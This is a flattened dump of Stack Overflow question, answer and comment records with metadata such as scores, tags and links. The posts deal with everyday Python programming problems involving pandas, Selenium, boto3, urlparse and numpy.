has text: (Changing incorrect answer to comment): the pattern variables corresponding to keywords (from `t_STATES` to `t_BECOME`) will never succeed because `t_NAME` will be tried first. However, Ply will still try to match them for any position in the input which has not been matched by `t_NAME`, which is quite inefficient. Removing the variables will make your code easier to read, more maintainable, and somewhat faster.
type: QuestionComment

http://stackoverflow.com/a/58258730
score: 9
has body: Install jupyter. Open terminal. Go to folder where you file is (in terminal ie.cd path/to/folder). Run jupyter notebook. And voila: you have something like this: Notice that to open a notebook in the folder, you can either click on it in the browser or go to address: http://localhost:8888/notebooks/name_of_your_file.ipynb
type: Answer
answers question: http://stackoverflow.com/q/46972225
upvote count: 10
downvote count: 1

http://stackoverflow.com/q/46918625
has title: Selenium: a pop-up window not showing up in window handles
has answer: http://stackoverflow.com/a/46921775
accepted answer: http://stackoverflow.com/a/46921775
has comment: http://stackoverflow.com/comment/80784788
tagged with: python
has comment: http://stackoverflow.com/comment/80786294
has comment: http://stackoverflow.com/comment/80784973
type: AnsweredQuestion
score: 0
tagged with: popup
tagged with: window
answer count: 1
tagged with: selenium
tagged with: javascript
type: Question
has comment: http://stackoverflow.com/comment/80784866
has body: I am trying to get to a BibTeX entry of a research paper on Google Scholar using Selenium. For example, when one goes to this page, the top paper has the clickable quotes image below it. When one clicks the image, the citation window pops up. I would like to get the page source for that citation window using Selenium. However, I am not able to get to the pop-up window. The relevant (at least that's how it seems) HTML element of the above page looks as follows: &lt;a href="javascript:void(0)" class="gs_or_cit gs_nph" title="Cite" role="button" aria-controls="gs_cit" aria-haspopup="true"&gt;&lt;svg viewBox="0 0 17 16" class="gs_or_svg"&gt;&lt;path d="M1.5 3.5v5h2v.375L1.75 12.5h3L6.5 8.875V3.5zM9.5 3.5v5h2v.375L9.75 12.5h3L14.5 8.875V3.5z"/&gt;&lt;/svg&gt;&lt;/a&gt; Here is what I am trying: #!/usr/bin/python from selenium import webdriver import time driver = webdriver.PhantomJS(service_args=['--ignore-ssl-errors=true', '--ssl-protocol=any']) link = u'https://scholar.google.co.il/scholar?hl=en&amp;as_sdt=0%2C5&amp;q=Enhanced+Partial+Expansion+%7BA%7D&amp;btnG=&amp;oq=enhanced+' driver.set_window_size(1124, 850) # Avoid the error of the element not being displayed, see https://github.com/ariya/phantomjs/issues/11637 driver.get(link) element = driver.find_element_by_class_name('gs_or_cit') # 'gs_or_cit gs_nph' contains space and is not accepted. However, 'gs_or_cit' seems to work. element.click() time.sleep(5) # Enough time for sure for the citation window to appear print len(driver.window_handles) This code prints out 1. That is, there is only one window handle and the citation window's handle is not available. Why would that be the case and how can I get to that window and its page source?

http://stackoverflow.com/comment/80853180
has text: Thanks for your solution
comment on: http://stackoverflow.com/a/46937178
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/51029854
has body: @Peterhack, Working with paths across different python environments can be tricky on the same machine and even worse on different OSs (e.g. windows). Your first lines use the python path abstractions, so let's continue with that direction for locating your data directory. Here is a little bit verbose example for clarity: import os.path import pandas as pd fileDir = os.path.dirname(os.path.abspath('__file__')) print(fileDir) # /Users/starver/code/makara/stackoverflow/python/46912753/src/data rootDir = os.path.dirname(os.path.dirname(fileDir)) print(rootDir) # /Users/starver/code/makara/stackoverflow/python/46912753 dataDir = os.path.join(rootDir, 'data', 'external') print(dataDir) #/Users/starver/code/makara/stackoverflow/python/46912753/data/external dataFile = os.path.join(dataDir, 'data.csv') print(dataFile) # /Users/starver/code/makara/stackoverflow/python/46912753/data/external/data.csv df = pd.read_csv(dataFile)
answers question: http://stackoverflow.com/q/46912753
score: 0
type: Answer

http://stackoverflow.com/q/46996739
has body: So I have a bunch of files with numbers and/or string. For example, file names: 2214 2214-hello 2214_world 1123 1124 32415 92511 2123-John helloapple byebanana And I have a list of names on csv called ListA: 2214 92511 helloapple byebanana I need help to get the files that are on listA and have only digits in the name. I am aware of the isdigit() method. But I am actually passing on this file names as pattern to a directory path. My original code is like this: my_files = _globrec(r'C:/Test/', '\*apple*','\*banana*') So apple and banana are patterns in my files. And I want to add one more pattern after banana for digit only. Is there a way to do this? _globrec is a recursive function and works just fine to match multiple patterns in my files. I only found this (on another post) to match multiple patterns but I am open to other options too. def _globrec(path, *exts): dirs = [a[0] for a in os.walk(path)] f_filter = [d+e for d in dirs for e in exts] return [f for files in [glob.iglob(files) for files in f_filter] for f in files] If I will print my_files, the end result should be: C:/Test/2214 C:/Test/92511 C:/Test/helloapple C:/Test/byebanana Thank you much!
tagged with: python
score: -1
has title: python - return the number if the file name contains only numbers
answer count: 3
type: UnansweredQuestion
upvote count: 0
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46998733
has answer: http://stackoverflow.com/a/46996955
has answer: http://stackoverflow.com/a/46996798

http://stackoverflow.com/comment/80806376
type: QuestionComment
has text: The merge is not working unfortunately i.e. nothing happens (no errors, but doesnt add the call column), and the concat is not bringing the call column over
score: 0
type: Comment
comment on: http://stackoverflow.com/q/46929420

http://stackoverflow.com/q/46983587
has comment: http://stackoverflow.com/comment/80914659
tagged with: ipv6
accepted answer: http://stackoverflow.com/a/46983978
has comment: http://stackoverflow.com/comment/80914699
has comment: http://stackoverflow.com/comment/80929134
tagged with: python
has title: Python: urlparse confuses URL with bracket in the password for IPv6
tagged with: ftp
type: AnsweredQuestion
score: 0
tagged with: ipv4
has body: Python 2.7 (although this manifested itself in Python 3 as well) We have a database full of URLs of the form: ftp://username1:password1@www.google.com/ ftp://username2:password2@www.google.com/ etc. Should the passwords be encrypted and stored in a separate column? Probably. One of our users recently changed the password of the batch job account to include a bracket. This is crashing our script whenever it tries to urlparse it. Urlparse interprets it as a malformed IPv6 address. I think this is a failure of urlparse to not respect the @ symbol, but I could be wrong. Anyway we have a legacy system that was re-activated to handle this job, but it's not ideal. Any thoughts on how to handle this (other than change the password)? Are there any alternatives to urlparse? The Python3 equiv has the same issue. I will go through the pain of upgrading to Python3 if I knew it would fix it.
has answer: http://stackoverflow.com/a/46983978
answer count: 1
has comment: http://stackoverflow.com/comment/80926936
tagged with: urlparse
type: Question

http://stackoverflow.com/comment/80854028
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/46953387
score: 0
has text: this is sexy but actually, i'm using python 2.7, could it work on 2.7 ?

http://stackoverflow.com/q/46931193
tagged with: pandas
has comment: http://stackoverflow.com/comment/80809718
answer count: 1
score: 1
upvote count: 1
linked to: http://stackoverflow.com/q/44165629
favorite count: 0
has title: pivot table for count values in python
type: Question
has body: I have a pandas dataframe like this: ColA ColB abc 1 abc 0 efj 1 efj 1 hij 1 hej 1 I want to make a pivot table so that it can display like this: Count of ColA Column Labels Row Labels 0 1 abc 1 1 efj 2 hej 1 hij 1 Grand Total 1 5 While making the same in a spreadsheet pivot table, the column "ColA" will go to the "ROWS", "ColB" will go to "Columns" and "values". The "Values" will have "Count of ColB". In order to do the same in pandas, I did the following: pd.pivot_table(train_filtered, index=["ColA"], values = ["ColB"], aggfunc = [np.count]) However, there is nothing called count for aggregate function in pandas. Is there anyway that similar thing can be achieved? EDIT Rewriting the output as the one shown is having lots of ambiguity: ColB ColA 0 1 abc 1 1 efj 2 hij 1 hej 1
has comment: http://stackoverflow.com/comment/80809849
tagged with: pivot-table
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/46941112
downvote count: 0
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/80809445

http://stackoverflow.com/q/46972535
has body: I have a job that works perfectly except for scrolling to this element: //span[text()="Next Page"] on this page. When I manually scroll, it tends to work. What I have tried to address scrolling to this text: element = driver.find_element_by_xpath('//span[text()="Next Page"]') driver.execute_script("return arguments[0].scrollIntoView();", element) As well as: clickMe = wait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, ('//span[text()="Next Page"]')))) clickMe2 = driver.find_elements_by_xpath('//span[text()="Next Page"]') actions = ActionChains(driver) actions.move_to_element(clickMe2).click() element = driver.find_element_by_xpath('//span[text()="Next Page"]') element.location_once_scrolled_into_view driver.execute_script("arguments[0].scrollIntoView();", clickMe2) It goes through the job and then gives an error at the following line: driver.execute_script("arguments[0].scrollIntoView();", clickMe2) Full error: Traceback (most recent call last): File "C:/Users/Bain3/PycharmProjects/untitled4/Crownbet.py", line 2674, in &lt;module&gt; driver.execute_script("arguments[0].scrollIntoView();", clickMe2) File "C:\Users\Bain3\Anaconda3\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 532, in execute_script 'args': converted_args})['value'] File "C:\Users\Bain3\Anaconda3\lib\site-packages\selenium\webdriver\remote\webdriver.py", line 297, in execute self.error_handler.check_response(response) File "C:\Users\Bain3\Anaconda3\lib\site-packages\selenium\webdriver\remote\errorhandler.py", line 194, in check_response raise exception_class(message, screen, stacktrace) selenium.common.exceptions.WebDriverException: Message: unknown error: arguments[0].scrollIntoView is not a function (Session info: chrome=61.0.3163.100) (Driver info: chromedriver=2.31.488763 (092de99f48a300323ecf8c2a4e2e7cab51de5ba8),platform=Windows NT 10.0.15063 x86_64) Full code UPDATED. I have removed this from earlier on: #SCROLL_PAUSE_TIME = 0.5 #last_height = driver.execute_script("r…
type: AnsweredQuestion
answer count: 2
possible better answer: http://stackoverflow.com/a/46972759
downvote count: 0
score: 1
upvote count: 1
tagged with: selenium
tagged with: scroll
tagged with: web-scraping
accepted answer: http://stackoverflow.com/a/46974339
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/46972759
has title: Job not scrolling to specific text on a webpage
tagged with: python
has answer: http://stackoverflow.com/a/46974339

http://stackoverflow.com/q/46979147
score: 1
upvote count: 1
answer count: 1
has answer: http://stackoverflow.com/a/46983371
favorite count: 0
accepted answer: http://stackoverflow.com/a/46983371
type: Question
tagged with: python
has title: Does boto3 do a GET and then a PUT when copying a key within s3?
tagged with: boto3
tagged with: boto
type: AnsweredQuestion
has body: Here's the situation: We're using a data loading service to ingest about 1TB of json files from a directory in s3. We want to load those files into the ingestion directory in batches so that our loading service isn't overwhelmed. We're doing that batching with a local python script that uses the boto3 client copy method. Here's a sample from boto3's docs: import boto3 s3 = boto3.resource('s3') copy_source = { 'Bucket': 'mybucket', 'Key': 'mykey' } s3.meta.client.copy(copy_source, 'otherbucket', 'otherkey') When using boto3's copy method, is there any reason to think that the client is downloading the file associated with the key and then doing a PUT into the new otherbucket/otherkey location? I know that there's a charge for any operations in s3, so I'm basically trying to ensure that we're not going to get charged for those as well as that we don't waste our own bandwidth like that.
tagged with: amazon-s3
downvote count: 0

http://stackoverflow.com/comment/80958591
comment on: http://stackoverflow.com/q/47005982
type: Comment
type: QuestionComment
has text: @whackamadoodle3000 What has that to do with `with`?
score: 3

http://stackoverflow.com/a/46912720
has comment: http://stackoverflow.com/comment/80772484
type: Answer
has body: As other answers have mentioned, to get the ylabel showing up on both subplots, you can use the object-oriented interface here axes[0].set_ylabel and axes[1].set_ylabel. You should also use .tick_params on both axes to get the same size tick labels, etc. for both subplots And finally, to get the tick labels to show up on the first subplot, as an alternative to looping over all the ticks and having to set them to be visible, you can achieve the same thing by giving just one more option tick_params: labelbottom=True. fig, axes = plt.subplots(nrows=2, ncols=1, sharex=True) df.groupby('State')['Population'].plot(kind='line', linestyle='--', alpha=0.5, marker='o', legend=True, ax=axes[0]) axes[0].set_ylabel('Pop') df.groupby('State')['Temp'].plot(kind='line', linestyle='--', alpha=0.5, marker='o', legend=True, ax=axes[1]) axes[1].set_ylabel('Temp') axes[0].tick_params(axis='both', which='both', labelsize=7, labelbottom=True) axes[1].tick_params(axis='both', which='both', labelsize=7)
downvote count: 0
score: 13
upvote count: 13
has comment: http://stackoverflow.com/comment/80772533
has comment: http://stackoverflow.com/comment/129689630
answers question: http://stackoverflow.com/q/46912100

http://stackoverflow.com/q/47062977
favorite count: 0
type: Question
type: AnsweredQuestion
score: 1
tagged with: python
has comment: http://stackoverflow.com/comment/81074154
tagged with: python-3.x
has body: I have list of lists in which I want to count the number of B() and C() instances and am looking for a suitable method to do this. Using collections.Counter() and the .count() function have resulted in strange results, and I suspect I do not fully understand how list of lists work in python, or how lists of class instances work in python. This is the list of lists: lst = [[B() for w in range(x)] for h in range(y)] with class A(): def __init__(self, name): self.name = name class B(A): def __init__(self, name = "B"): A.__init__(self, name) def update(self): if random.random() &lt; 0.05: return C() else: return self class C(A): def __init__(self, name = "C"): A.__init__(self, name) And, I use the below code to randomly change B() instances in lst into C() instances: for row in range(y): for column in range(x): lst[row][column] = lst[row][column].update() How do I count the number of B() and C() instances in the list?
downvote count: 0
upvote count: 1
has title: Counting the occurence of instances of a certain class in list of lists
answer count: 1
has answer: http://stackoverflow.com/a/47063098
accepted answer: http://stackoverflow.com/a/47063098
has comment: http://stackoverflow.com/comment/81074349

http://stackoverflow.com/a/62322700
downvote count: 0
answers question: http://stackoverflow.com/q/46973571
has body: Chicklat with its API provides two examples (see at bottom) for solving this problem. The first signs a certificate using SecurityTokenReference and the second signs a certificate using BinaryTokenReference. You don't have to rely on this API as it's subjected to license costs, you can do it but you can use alternative libraries to do this (below in the post I posted alternatives). Those examples are good starting points to get to your expected results by understanding the way Chicklat API does it and using your custom methods. In the first example: (#1) A SOAP XML template is loaded, this is the template that will be signed with the pfx certificate and the BinarySecurityToken; (#2-3) The pfx, a single file containing the password protected certificate along with its private key, is loaded, then its private key and its internal certificate are extracted by providing a password as input, which is the password used when the certificate was issued; (#4) Once the certificate is extracted from the pfx file, it is BASE64-encoded. Inside the XML template, BASE64_CERT is replaced by this string as a value provided to wsse:BinarySecurityToken; (#5) Build the wsse:SecurityTokenReference XML. This XML is a KeyInfo, a storage to contain your certificate private key, used to verify the signature; (#6) Signing the XML using Chicklat XML Digital Signature Generator. You can adapt the first example by using the second example. This can be done by following these changes: Change the way the sbXml is constructed. Example 2, starting from chilkat.CkXml(), shows a way to do it and setup parameters. The output XML structure would be similar to this schema to use BinarySecurityToken: <?xml version="1.0" encoding="UTF-8"?> <S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:exc14n="http://www.w3.org/2001/10/xml-exc-c14n#" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsse11…
type: Answer
score: 2
upvote count: 2

http://stackoverflow.com/q/46911814
tagged with: merge
type: AnsweredQuestion
tagged with: pandas
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/46911852
has title: Pandas: "Left Join" not working correctly
has body: I am trying to apply left join to the two dataframe shown below. outlier day season 0 11556.0 0 1 ========================================== date bikeid date2 0 1 16736 2016-06-06 1 1 16218 2016-06-13 2 1 15254 2016-06-20 3 1 16327 2016-06-27 4 1 17745 2016-07-04 5 1 16975 2016-07-11 6 1 17705 2016-07-18 7 1 16792 2016-07-25 8 1 18540 2016-08-01 9 1 17212 2016-08-08 10 1 11556 2016-08-15 11 1 17694 2016-08-22 12 1 14936 2016-08-29 outliers = pd.merge(outliers, sum_Day, how = 'left', left_on = ['outlier'], right_on = ['bikeid']) outliers = outliers.dropna(axis=1, how='any') trip_outlier day season 0 11556.0 0 1 As shown after above applying left join i dropped all the NaN rows which gives the result above. However the desired results should be as shown below trip_outlier day season date2 0 11556.0 0 1 2016-08-15
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46912394
possible better answer: http://stackoverflow.com/a/46912394
answer count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/46911852
tagged with: python

http://stackoverflow.com/a/46929876
type: Answer
answers question: http://stackoverflow.com/q/46929634
downvote count: 0
upvote count: 1
score: 1
has body: You're on the right track! Just be aware that calling fillna converts the column to a non-datetime type. But you can call str.replace after converting. df['date'].dt.date.fillna('')\ .astype(str).str.split('-').str[::-1].str.join('.') 0 04.04.2017 1 20.09.2018 2 3 01.09.2018 4 5 01.01.2018 Name: date, dtype: object

http://stackoverflow.com/a/47045442
score: 0
has comment: http://stackoverflow.com/comment/81038382
has body: I have overrode list() in: for list in all_lines: a_new_scores.append(list[0]) b_new_scores.append(list[1]) c_new_scores.append(list[2]) d_new_scores.append(list[3]) e_new_scores.append(list[4]) I got an exception because I overrode list() by list variable. It is not callable: TypeError: 'list' object is not callable Instead I should have put: for lst in all_lines: a_new_scores.append(lst[0]) b_new_scores.append(lst[1]) c_new_scores.append(lst[2]) d_new_scores.append(lst[3]) e_new_scores.append(lst[4]) As this does not override the list().
type: Answer
answers question: http://stackoverflow.com/q/47044765

http://stackoverflow.com/q/47061578
has title: GCC doesn't compile with libraries installed to a virtual environment
has comment: http://stackoverflow.com/comment/81071544
favorite count: 0
type: Question
tagged with: opencv
has comment: http://stackoverflow.com/comment/81260121
score: 1
tagged with: python
tagged with: http://stackoverflow.com/tag/c
has answer: http://stackoverflow.com/a/47073858
tagged with: raspberry-pi
downvote count: 0
upvote count: 1
type: UnansweredQuestion
answer count: 1
has body: I have a problem with compiling using GCC toolchain. I'm working on facial detection program using OpenCV destined to work later in an Embedded Linux platform such as Raspberry PI3, this is how I proceed: First, on a PC running Ubuntu: In this machine I installed OpenCV 2.4 with NO virtual environnment. I developed the software in Python 2.7, using OpenCV library and other libraries such as NumPy and others. Now to optimize my code I use Cython to convert the .py files to .c then I compile and link the resulted .c files into a unique executable file. The executable works fine and passes all the tests, I also gain in performance (quick response). Second, on Raspberry PI 3 the problem occurs Here I have installed OpenCV 3.1.0 IN A VIRTUAL ENVIRONMENT called (cv) with Python 2.7. Then I try to port the code source to Raspberry PI after some tweaking and some minor modifications i get my Python files .py working and the software works fine. Now the problem is that when I procedd with the same method to compile the .C files generated using Cython, the compilation fails, I guess because of the fact that OpenCV was installed only in the virtual environment, so I gave GCC a link to the path of the VirtualEnv folder where OpenCV is installed and the compilation passes. But the executable still gives me an error saying that Import cv2 fails to find the cv2 package even if all thses steps are done with the (cv) virtual environment activated. Now I have to questions: - Is there any method to generalize what has been installed in a virtual environment, I mean for example in my case, that i need OpenCV to be callable from anywhere in the Raspberry without logging to the virtual environment? - Are executables aware of the fact that they are launched on a virtual environment? I mean if they need a package that is only installed in a virtual env, how could I make them know that ? NB I based my methods on these two articles: Install guide: Raspberry Pi 3 + Raspbian Jessie + OpenCV 3 …
tagged with: cython

http://stackoverflow.com/comment/80916430
score: 0
has text: I would consider a peer that doesn't close connections but just re-opens new ones instead very poorly behaved. You could enable keepalives to detect half-open connections. But that would typically be a rare thing not something that happens all the time (unless something between you and them is dropping boatloads of packets).
comment on: http://stackoverflow.com/q/46956286
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80956088
has text: Yeah, zip method was a mistake, that wasn't meant to work. Anyways, even that way I keep getting the same results.
type: Comment
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/47004761

http://stackoverflow.com/a/47034595
score: -1
answers question: http://stackoverflow.com/q/47034420
upvote count: 0
has body: Here's a simplified version of your code: my_list = [] for i in range(5): my_list.append(int(input("{index}. Enter a number: ".format(index=i+1)))) print("Simple: {0}".format(my_list)) my_list.reverse() print("Reversed: {0}".format(my_list)) Execution output: 1. Enter a number: 10 2. Enter a number: 20 3. Enter a number: 30 4. Enter a number: 40 5. Enter a number: 50 Simple: [10, 20, 30, 40, 50] Reversed: [50, 40, 30, 20, 10]
downvote count: 1
type: Answer

http://stackoverflow.com/comment/135514567
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/56603061
type: Comment
has text: This one worked for me when nothing else would.

http://stackoverflow.com/a/46933970
type: Answer
answers question: http://stackoverflow.com/q/46932619
has body: I assume the first element shall always be seleceted. Use np.diff to find the difference between adjacent elements and np.select to chose either x[n] or x[n-1] depending on the difference. Example (modifying input): import numpy as np np.random.seed(42) x = np.random.randint(100, size=10) cap = 33 d = np.diff(x) x_n = x[1:] x_n_minus_one = x[:-1] print(x) x[1:] = np.select([d &gt; cap, d &lt;= cap], [x_n_minus_one, x_n]) print(x) # [51 92 14 71 60 20 82 86 74 74] # [51 51 14 14 60 20 20 86 74 74] Alternatively, use np.choose and abuse the fact that false/true evaluate to 0/1: x[1:] = np.choose(d &gt; cap, [x_n, x_n_minus_one])
score: 0
has comment: http://stackoverflow.com/comment/80818983
has comment: http://stackoverflow.com/comment/80818492

http://stackoverflow.com/q/47041466
has answer: http://stackoverflow.com/a/47049804
tagged with: list
has comment: http://stackoverflow.com/comment/81031857
has comment: http://stackoverflow.com/comment/81030298
tagged with: string
has comment: http://stackoverflow.com/comment/81046260
downvote count: 1
tagged with: coordinates
favorite count: 0
type: Question
has body: Objective: Using Python, get FreeCAD.Vector(223.90,67.99,45.00) from .txt file. Comma delimited Text file format: 1.0,8.2,9.888 6.345,4.32,2.43 ... i.e. X,Y,Z as floats. A specific application "FreeCAD" uses Python as base scripting language (macros) The native method to a native FreeCAD object is Vector i.e. FreeCAD.Vector the vector is (X,Y,Z) i.e. FreeCAD.Vector(105453.164062,90917.8671875,1274.77026367). As further detailed example: &gt;&gt;&gt; points=[FreeCAD.Vector(-2.50563430786,0.3603053689,0.0),FreeCAD.Vector(-1.67500686646,0.959897279739,0.0),FreeCAD.Vector(-0.53083139658,0.393310427666,0.0),FreeCAD.Vector(0.767367601395,0.932393193245,0.0)] &gt;&gt;&gt; line = Draft.makeWire(points,closed=False,face=True,support=None) &gt;&gt;&gt; Draft.autogroup(line) Here is an example of the data.txt file: 105507.460938 91080.125 1331.37109375 105509.648438 91077.9375 1326.85534668 105501.375 91072.890625 1318.00634766 105487.0 91070.3984375 1318.89746094 Note: the delimiter can be comma or space - it is not important and can be either The Problem: Creating a variable that has this value: [FreeCAD.Vector(-2.50563430786,0.3603053689,0.0),FreeCAD.Vector(-1.67500686646,0.959897279739,0.0),... or Devising a way to assemble the input so the FreeCAD can accept the XYZ input. My Code so far: # -*- coding: utf-8 -*- # 10/26/2017 6:54:16 AM # For Python, PEP 8 has emerged as the style guide # http://docs.python-guide.org/en/latest/intro/learning/ # https://www.freecadweb.org/wiki/Code_snippets # https://github.com/FreeCAD/FreeCAD import FreeCAD,Draft,Arch # In Python, all the statements indented by the same number of character spaces # after a programming construct are considered to be part of a single block of code. # Python uses indentation as its method of grouping statements. ## @package Makewire # \ingroup ARCH # \brief Creates DWire object from file of 3D coordinates # # This program opens a file, reads each space delimited line # and draws a dwire object __title__ = "DW…
has title: Read X,Y,Z from file, modify tuple / list to unquoted string followed by list
upvote count: 0
type: UnansweredQuestion
answer count: 1
tagged with: python
score: -1
tagged with: tuples

http://stackoverflow.com/comment/80850647
has text: Yes, and `b[0] = 0`.. so what else are you expecting? It's the solution you asked for.
comment on: http://stackoverflow.com/q/46951277
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80959503
type: AnswerComment
comment on: http://stackoverflow.com/a/47006331
score: 0
has text: Ahh i see. Thanks for your help.
type: Comment

http://stackoverflow.com/a/47027948
answers question: http://stackoverflow.com/q/47027225
upvote count: 2
downvote count: 0
has body: Here's a NumPy way to leverage broadcasting - # Get index level and the indices l = df3.index.names.index('v3') i = np.array(df3.index.levels[l]) # Get array data a = df3.values.reshape(-1,len(i),2) # Finally use np.where to choose between the two cols based on indices df3['c3'] = (np.where(i &lt;= 3,a[:,:,0],a[:,:,1])).ravel() Runtime test Approaches - def reset_where_app(df3): # @jakevdp's soln df = df3.reset_index('v3') df['c3'] = df['c1'].where(df['v3'] &lt;= 3, df['c2']) return df def concat_app(df3): # @Wen's soln bool1 = df3.loc[df3.index.get_level_values('v3')&lt;=3,['c1']] bool2 = df3.loc[df3.index.get_level_values('v3')&gt;3,['c2']] df3['c3']=pd.concat([bool1.rename(columns={'c1':'c3'}),\ bool2.rename(columns={'c2':'c3'})]) return df3 def assign_app(df3): # @piRSquared's soln-1 return df3.assign(c3=df3.c1.mask(df3.eval('v3 &gt; 3'), df3.c2)) def indexslice_app(df3): # @piRSquared's soln-2 i1 = pd.IndexSlice[:, :, 1:3] i2 = pd.IndexSlice[:, :, 4:5] h = lambda d: d.loc[i1, 'c1'].append(d.loc[i2, 'c2']) return df3.assign(c3=df3.sort_index().pipe(h)) def assigneval_app(df3): # @piRSquared's soln-3 return df3.assign(c3=df3.values[np.arange(len(df3)),\ df3.eval('v3').gt(3).astype(int)]) def numpy_app(df3): l = df3.index.names.index('v3') i = np.array(df3.index.levels[l]) a = df3.values.reshape(-1,len(i),2) df3['c3'] = (np.where(i &lt;= 3,a[:,:,0],a[:,:,1])).ravel() return df3 Timings on sample data posted in question - In [256]: iterables = [['US', 'DE'], ['A', 'B'], [1, 2, 3, 4, 5]] ...: idx3 = pd.MultiIndex.from_product(iterables, names=['v1', 'v2', 'v3']) ...: df3 = pd.DataFrame(data=np.random.randn(20,2), index=idx3) ...: df3.columns = 'c1','c2' In [257]: %timeit reset_where_app(df3.copy()) ...: %timeit concat_app(df3.copy()) ...: %timeit assign_app(df3.copy()) ...: %timeit indexslice_app(df3.copy()) ...: %timeit assigneval_app(df3.copy()) ...: %timeit numpy_app(df3.copy()) 100 loops, best of 3: 1.87 ms per loop 100 loops, best of 3: 3.97 ms per loop 100…
type: Answer
score: 2

http://stackoverflow.com/q/47029050
has title: separate number from string and add numbers using pandas
type: AnsweredQuestion
tagged with: python-2.7
accepted answer: http://stackoverflow.com/a/47029165
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/47029165
upvote count: 1
favorite count: 0
type: Question
tagged with: pandas
score: 1
tagged with: python
has body: This is my code !! import pandas as pd df2 = pd.DataFrame({'A': ['1,008$','4,000$','6,000$','10,00$','8,00$','45 €','45 €']}) Data cleaning is also done. result2 = df2['A'].str.replace(',','.') result2 = result2.str.replace('$','') result2 = result2.str.replace('€','') print (result2) which gives me output like this In [11]: result2 Out[11]: 0 1.008 1 4.000 2 6.000 3 10.00 4 8.00 5 45 6 45 Name: A, dtype: object but my objective is to add amount of different currencies together , that is the output should be like this Your amount in dollar is "29.008" your amount in euros is "90" i am not very good at python , please help me!

openstack
tags question: http://stackoverflow.com/q/46907661
tag name: openstack
type: Tag
tags question: http://stackoverflow.com/q/46972890

http://stackoverflow.com/q/46956442
upvote count: 2
accepted answer: http://stackoverflow.com/a/46956494
downvote count: 0
has answer: http://stackoverflow.com/a/46956494
tagged with: python
has title: how to fix list out of range
has body: I have this data inside a text file: A, 2, 1500 B, 5, 2000 C, 8, 2500 D, 10, 4000 E, 12, 4800 F, 18, 5300 And I have this program which it print error list out of range: def readfile(fname): txt = open(fname) txt1 = txt.read() new_list = [] for i in txt1: split = i.split(', ') new_list.append({'Car': split[0], 'Seat': int(split[1]), 'cost': int(split[2])}) readfile('car.txt') Any suggestion and how to fix it...Thanks
score: 2
possible better answer: http://stackoverflow.com/a/46956625
type: AnsweredQuestion
answer count: 3
has answer: http://stackoverflow.com/a/46956625
has answer: http://stackoverflow.com/a/46956686
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/comment/80928653
type: Comment
comment on: http://stackoverflow.com/a/46990945
type: AnswerComment
score: 1
has text: @user3152311: If you *know* that the `globals()[keyword]` is already a list, then `globals()[keyword].append("testing")` should work.

http://stackoverflow.com/comment/80950726
score: 3
type: QuestionComment
comment on: http://stackoverflow.com/q/46996315
has text: @MaxPythone Thank for you answer, but I am still confused. For the fist example, I would think that what dominates the execution is obtaining / saving / checking the video frames you're trying to obtain. Or if you can start directly from a certain frame, no point in running an empty loop. Also for the other example; whatever algorithm you use to benchmark, it will be dominated by what you do in the loop, and not by how you increase the 32 bit counter in the for loop
type: Comment

http://stackoverflow.com/comment/81044396
type: QuestionComment
comment on: http://stackoverflow.com/q/47048561
has text: @juanpa.arrivillaga @Ryan I know it. `list(it)` or `f(*it)` both create a sequence, and will call `operator.length_hint(it)` to pre-allocate space. And `operator.length_hint` see that `it` has `__len__` method, so just returns `len(it)` -- the sequence so allocates too large. Is that right?
score: 0
type: Comment

http://stackoverflow.com/a/47044332
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47040884
has body: How about tmp = lon - lon[0] tmp[tmp&lt;0] += 360 sliced = lon[:np.where(np.diff(tmp) &lt; 0)[0][0]+1]

http://stackoverflow.com/comment/80991410
comment on: http://stackoverflow.com/a/47022197
type: Comment
has text: Hi mauve, your scenario "if you had a list of dataframes named "countries" " is the situation I am in. This looks good, but it gives the error "AttributeError: 'str' object has no attribute 'iloc'" - which appears to be against line #2
score: 0
type: AnswerComment

http://stackoverflow.com/a/47037320
upvote count: 4
accepted answer of: http://stackoverflow.com/q/47037250
downvote count: 0
has body: Use: #filter column of interest a = (df.groupby(['id'])['A','B'].nunique() &gt; 1).any() print (a) A True B False dtype: bool #if need test all columns without id a = (df.set_index('id').groupby('id').nunique() &gt; 1).any() print (a) A True B False dtype: bool Last filter: b = a.index[a] print (b) Index(['A'], dtype='object')
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/101294017
score: 4
has comment: http://stackoverflow.com/comment/81028890
has comment: http://stackoverflow.com/comment/101293977
has comment: http://stackoverflow.com/comment/81021121
answers question: http://stackoverflow.com/q/47037250
type: Answer

http://stackoverflow.com/comment/81040525
comment on: http://stackoverflow.com/a/47046344
type: Comment
type: AnswerComment
score: 0
has text: no, that is fine, I just needed to know where to find the Rect object to derive my class from.

http://stackoverflow.com/q/47047998
tagged with: http://stackoverflow.com/tag/html
tagged with: python
has title: Printing specific HTML values with Python
has answer: http://stackoverflow.com/a/47049154
tagged with: parsing
type: Question
score: 0
answer count: 2
tagged with: printing
possible better answer: http://stackoverflow.com/a/47049154
